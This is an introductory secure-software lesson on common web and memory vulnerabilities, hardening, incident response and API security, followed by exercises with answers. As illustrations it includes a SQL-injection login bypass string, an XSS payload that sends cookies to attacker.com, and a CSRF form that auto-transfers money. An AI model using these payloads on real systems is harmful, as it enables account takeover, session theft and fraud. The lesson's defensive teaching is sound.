Lesson 5: Secure Software Architecture II

Scenario: A login form asks for a username and password.

Vulnerable Code:

# User enters: admin' OR '1'='1
username = input("Enter username: ")
password = input("Enter password: ")

# Building SQL query by concatenating strings (BAD!)
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"

# The resulting query becomes:
# SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
# This ALWAYS returns true because '1'='1' is always true!

Result: The attacker bypasses authentication and gains access to the admin account without knowing the password.

Scenario: A comment section on a blog accepts user comments and displays them.

Vulnerable Code:

# User submits: <script>alert('Hacked!')</script>
user_comment = get_user_input()

# Directly displaying user input without sanitization (BAD!)
display_html = "<div>" + user_comment + "</div>"

# The browser executes the script tag, showing an alert
# Worse: attacker could steal cookies with:
# <script>document.location='http://attacker.com?cookie='+document.cookie</script>

Result: When other users view the comment, the malicious script executes in their browser, potentially stealing their login credentials.

Scenario: You're logged into your bank account in one browser tab.

Attack: In another tab, you visit a malicious website that contains:

<!-- Hidden form that auto-submits -->
<form action="https://yourbank.com/transfer" method="POST" id="hack">
    <input type="hidden" name="to_account" value="attacker_account">
    <input type="hidden" name="amount" value="10000">
</form>
<script>
    document.getElementById('hack').submit();
</script>

Result: Because you're already logged in to the bank, your browser automatically includes your authentication cookies with the request. Money is transferred to the attacker without your knowledge.

• Weak password requirements: Allowing "password123" or short passwords
• Storing passwords in plain text: If database is breached, all passwords are exposed
• Predictable session IDs: Using sequential numbers (session_1, session_2, session_3...)
• Session fixation: Reusing the same session ID before and after login
• No session timeout: Sessions never expire, even after logout
• Exposing session IDs in URLs: http://site.com/page?session=abc123 (can be logged or shared)

Scenario: Bank account with $100. Two withdrawal requests of $80 are made simultaneously.

# Process 1 and Process 2 both execute at the same time
def withdraw(amount):
    balance = get_balance()  # Both read: balance = 100
    if balance >= amount:    # Both check: 100 >= 80 ✓
        new_balance = balance - amount  # Process 1: 100-80=20, Process 2: 100-80=20
        set_balance(new_balance)        # Both write their result
        return True
    return False

# Result: Account shows $20, but $160 was withdrawn! (-$60 overdraft)

Result: The account is overdrawn because both processes checked the balance before either one updated it.

Scenario: A game allows players to enter their character name (max 16 characters).

Vulnerable Code (C/C++):

# Simplified example (actual buffer overflow is common in C/C++)
char username[16];  # Allocates exactly 16 bytes in memory
gets(username);     # Reads user input WITHOUT checking length!

# Memory Layout:
# [username buffer: 16 bytes][return address][other data]

# Attacker enters 100 characters:
# The first 16 fill the buffer
# Characters 17-20 overwrite the return address
# The program now jumps to attacker's malicious code!

Result: The attacker crafts input that overwrites the return address in memory, redirecting program execution to malicious code they've injected.

Whitelist Approach (PREFERRED): Only allow known-good inputs

def validate_age(age):
    # Only accept values that ARE valid
    if not age.isdigit():
        return False, "Age must be a number"

    age_int = int(age)
    if age_int < 0 or age_int > 150:
        return False, "Age must be between 0 and 150"

    return True, age_int

# Usage
is_valid, result = validate_age(user_input)
if is_valid:
    process_age(result)
else:
    print(f"Error: {result}")

Blacklist Approach (LESS SECURE): Block known-bad inputs

def validate_username(username):
    # Trying to block bad characters (incomplete, can be bypassed)
    forbidden = ['<', '>', '&', '"', "'", ';', '--']

    for char in forbidden:
        if char in username:
            return False

    return True

# Problem: Attackers can find characters you forgot to block!

Why Whitelist is Better: You can't anticipate all possible malicious inputs, but you can define exactly what valid input looks like.

Memory Management

• Buffer overflows: Writing data beyond allocated memory (see detailed coverage above in section 6)
• Memory leaks: Not releasing unused memory, causing system slowdown or Denial of Service
• Use-after-free: Accessing memory that has already been freed, causing unpredictable behavior
• Defense: Use memory-safe languages (Python, Java, Rust), bounds checking, automated garbage collection, smart pointers

Session Management

• Secure session creation: Generate cryptographically random session IDs
• Session expiration: Implement idle timeout (e.g., 15 minutes) and absolute timeout (e.g., 8 hours)
• Session invalidation: Destroy session completely on logout
• Secure storage: Store session data server-side, not in cookies

Exception Management

• Catch specific exceptions: Handle different error types appropriately
• Don't suppress exceptions silently: Always log or handle them
• Clean up resources: Close database connections, file handles even when exceptions occur (use try-finally or context managers)

• ✓ Are all user inputs validated and sanitized?
• ✓ Are SQL queries using parameterized statements?
• ✓ Are passwords being hashed (not stored in plain text)?
• ✓ Are error messages generic (not revealing system details)?
• ✓ Are session IDs generated securely?
• ✓ Are authentication and authorization checks present?
• ✓ Are sensitive operations logged for auditing?
• ✓ Are there any hardcoded credentials or API keys?
• ✓ Is HTTPS used for all sensitive communications?
• ✓ Are file uploads restricted and validated?

1. Asset Identification: What needs to be protected? (databases, user data, APIs)
2. Vulnerability Scanning: Automated tools scan for known vulnerabilities
3. Manual Testing: Security experts look for complex vulnerabilities tools might miss
4. Risk Assessment: Evaluate likelihood and impact of each vulnerability
5. Prioritization: Rank vulnerabilities (Critical, High, Medium, Low)
6. Remediation Planning: Create action plan to fix vulnerabilities
7. Reporting: Document findings and recommendations

CVSS (Common Vulnerability Scoring System)

Industry standard for rating vulnerability severity on a scale of 0-10:

• 0.0: None
• 0.1-3.9: Low
• 4.0-6.9: Medium
• 7.0-8.9: High
• 9.0-10.0: Critical

1. Planning & Reconnaissance:
   • Define scope and goals
   • Gather intelligence (domain names, network ranges, email addresses)
2. Scanning:
   • Identify open ports and services
   • Detect operating systems and applications
   • Tools: Nmap, Nessus
3. Gaining Access:
   • Exploit vulnerabilities (SQL injection, XSS, etc.)
   • Attempt to escalate privileges
4. Maintaining Access:
   • Test if attacker could maintain persistent access
   • Install backdoors (in controlled environment)
5. Analysis & Reporting:
   • Document all vulnerabilities found
   • Provide remediation recommendations
   • Create executive summary and technical report

Operating System Hardening

• Remove unnecessary software and services
• Disable unused network ports
• Apply security patches and updates regularly
• Configure firewalls to allow only necessary traffic
• Use strong password policies and account lockouts

Application Hardening

• Run applications with least privilege (minimal permissions)
• Disable debug modes in production
• Remove default accounts and passwords
• Configure secure defaults (HTTPS, secure cookies)
• Implement rate limiting and throttling

Network Hardening

• Segment networks (separate public and internal networks)
• Implement intrusion detection/prevention systems (IDS/IPS)
• Use VPNs for remote access
• Encrypt network traffic (TLS/SSL)
• Monitor network logs for suspicious activity

1. Preparation:
   • Create incident response team with defined roles
   • Develop and test response procedures
   • Set up monitoring and alerting systems
2. Detection & Analysis:
   • Identify that a breach has occurred
   • Determine scope and severity
   • Gather evidence (preserve logs, memory dumps)
3. Containment:
   • Short-term: Isolate affected systems (disconnect from network)
   • Long-term: Apply patches, change credentials, block attacker IPs
4. Eradication:
   • Remove malware and backdoors
   • Close exploited vulnerabilities
   • Verify attacker has no remaining access
5. Recovery:
   • Restore systems from clean backups
   • Gradually bring systems back online
   • Monitor for signs of attacker return
6. Lessons Learned:
   • Conduct post-incident review
   • Document what happened and how it was handled
   • Update security measures to prevent recurrence

• Regular backups: Automated daily/hourly backups stored offsite
• 3-2-1 Backup Rule: 3 copies of data, on 2 different media, with 1 offsite
• Redundancy: Duplicate critical systems and data across multiple locations
• Failover systems: Automatic switching to backup systems if primary fails
• Cloud-based DR: Use cloud services for quick recovery and scalability
• Regular testing: Practice recovery procedures (don't wait for real disaster to discover they don't work!)

You (the customer) want food, but you can't go into the kitchen and cook it yourself.

The kitchen (the server) has all the ingredients and chefs who can prepare meals.

The waiter (the API) takes your order, communicates it to the kitchen, and brings back your food.

• You don't need to know how the kitchen works internally
• The waiter has a menu (API documentation) showing what you can order
• You make a request (order a burger) and get a response (receive the burger)
• The kitchen is protected - you can't access it directly, only through the waiter

1. Weather App on Your Phone

• Your app doesn't have weather data stored locally
• It sends a request to a weather API: "What's the weather in Sydney?"
• The API responds with: "Temperature: 24°C, Sunny"
• Your app displays this nicely on your screen

2. Google Maps Integration

• Uber doesn't build its own mapping system
• It uses Google Maps API to show maps and routes
• Uber sends: "Show route from Point A to Point B"
• Google Maps API returns the route data

3. Social Media Login

• You click "Sign in with Google" on a website
• The website uses Google's Authentication API
• Google verifies your identity and sends back: "Yes, this is John Doe"
• The website logs you in without storing your Google password

1. Broken Object Level Authorization: User can access objects they shouldn't (e.g., viewing another user's order)
2. Broken User Authentication: Weak authentication allows unauthorized access
3. Excessive Data Exposure: API returns more data than necessary (e.g., including passwords in user profile response)
4. Lack of Resources & Rate Limiting: No protection against DoS attacks or abuse
5. Broken Function Level Authorization: Users can access admin functions they shouldn't
6. Mass Assignment: Allowing users to modify object properties they shouldn't (e.g., setting admin=true)
7. Security Misconfiguration: Default credentials, verbose errors, unnecessary features enabled
8. Injection: SQL, XSS, command injection through API parameters
9. Improper Assets Management: Outdated API versions still accessible, undocumented endpoints
10. Insufficient Logging & Monitoring: Can't detect or investigate attacks

1. Authentication & Authorization

# Client sends credentials
POST /api/login
{
    "username": "user@example.com",
    "password": "securePassword123"
}

# Server responds with JWT (JSON Web Token)
{
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "expires_in": 3600
}

# Client includes token in subsequent requests
GET /api/user/profile
Headers:
    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

2. Rate Limiting

from time import time

class RateLimiter:
    def __init__(self, max_requests=100, time_window=60):
        self.max_requests = max_requests  # 100 requests
        self.time_window = time_window    # per 60 seconds
        self.requests = {}  # {user_id: [timestamp1, timestamp2, ...]}

    def is_allowed(self, user_id):
        now = time()

        # Clean old requests outside time window
        if user_id in self.requests:
            self.requests[user_id] = [
                req_time for req_time in self.requests[user_id]
                if now - req_time < self.time_window
            ]
        else:
            self.requests[user_id] = []

        # Check if under limit
        if len(self.requests[user_id]) < self.max_requests:
            self.requests[user_id].append(now)
            return True

        return False  # Rate limit exceeded

3. Input Validation

from typing import Optional
from pydantic import BaseModel, EmailStr, constr, validator

class UserRegistration(BaseModel):
    email: EmailStr  # Automatically validates email format
    username: constr(min_length=3, max_length=20)  # String with length constraints
    age: int

    @validator('age')
    def validate_age(cls, value):
        if value < 13 or value > 120:
            raise ValueError('Age must be between 13 and 120')
        return value

# Usage
@app.post("/api/register")
def register_user(user: UserRegistration):
    # If validation fails, automatic 422 error returned
    # If successful, user data is guaranteed to be valid
    create_user(user.email, user.username, user.age)

4. Minimize Data Exposure

# Returns EVERYTHING
{
    "user_id": 123,
    "email": "user@example.com",
    "password_hash": "...",
    "ssn": "123-45-6789",
    "api_key": "secret123"
}

# Returns only what's needed
{
    "user_id": 123,
    "email": "user@example.com",
    "username": "john_doe"
}

5. HTTPS Only

Always use HTTPS to encrypt data in transit. Never send sensitive data over HTTP.

6. Logging & Monitoring

import logging

security_logger = logging.getLogger('security')

def log_security_event(event_type, user_id, details):
    security_logger.warning(
        f"[SECURITY] {event_type} | User: {user_id} | {details}"
    )

# Usage examples
log_security_event("FAILED_LOGIN", user_id, "5 consecutive failures")
log_security_event("SUSPICIOUS_ACTIVITY", user_id, "Accessed 100 records in 1 second")
log_security_event("AUTHORIZATION_VIOLATION", user_id, "Attempted to access admin panel")

For each code snippet, identify the vulnerability and suggest a fix:

user_id = request.get('id')
query = f"DELETE FROM users WHERE id = {user_id}"
database.execute(query)

Vulnerability: SQL Injection - using f-strings to build SQL queries

Fix: Use parameterized query: database.execute("DELETE FROM users WHERE id = ?", (user_id,))

comment = request.get('comment')
html = f"<div class='comment'>{comment}</div>"
return html

Vulnerability: XSS - directly inserting user input into HTML

Fix: Escape HTML: html.escape(comment) or use textContent in JavaScript

password = request.get('password')
database.save_password(username, password)  # Stored as plain text

Vulnerability: Storing passwords in plain text

Fix: Hash passwords: hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt())

For each scenario, recommend the most appropriate testing approach (SAST, DAST, Code Review, Penetration Testing, or Vulnerability Assessment):

1. Scenario: Development team wants to check for hardcoded API keys in source code before committing changes.
   Answer: SAST - analyzes source code for security issues like hardcoded credentials
2. Scenario: Company wants to know if their public-facing website is vulnerable to XSS attacks.
   Answer: DAST or Penetration Testing - tests the running application from an attacker's perspective
3. Scenario: Junior developer wrote authentication code and senior developer needs to verify it follows security best practices.
   Answer: Code Review - manual inspection by experienced developer
4. Scenario: Organization wants a comprehensive report of all security weaknesses ranked by severity.
   Answer: Vulnerability Assessment - systematic identification and prioritization of vulnerabilities

Task: Design a secure API endpoint for updating user email addresses. Consider:

• Authentication (how do we know who the user is?)
• Authorization (can this user update this email?)
• Input validation (is the email valid?)
• Rate limiting (prevent abuse)
• Logging (audit trail)

Sample Secure Implementation:

from pydantic import BaseModel, EmailStr

class UpdateEmailRequest(BaseModel):
    new_email: EmailStr  # Validates email format

@app.put("/api/user/email")
@require_authentication  # Decorator ensures user is logged in
@rate_limit(max_requests=5, window=3600)  # Max 5 requests per hour
def update_email(request: UpdateEmailRequest, current_user: User):
    # Authorization: users can only update their own email
    # (current_user comes from authentication token)

    # Input validation (automatic via Pydantic)
    new_email = request.new_email

    # Check if email already exists
    if email_exists(new_email):
        log_security_event("EMAIL_UPDATE_FAILED", current_user.id, "Email already in use")
        return {"error": "Email already registered"}, 400

    # Update email
    old_email = current_user.email
    current_user.email = new_email
    database.save(current_user)

    # Logging for audit trail
    log_security_event("EMAIL_UPDATED", current_user.id, f"Changed from {old_email}")

    # Send confirmation emails to both old and new addresses
    send_confirmation_email(old_email, "Your email was changed")
    send_confirmation_email(new_email, "Please verify your new email")

    return {"success": True, "message": "Email updated"}, 200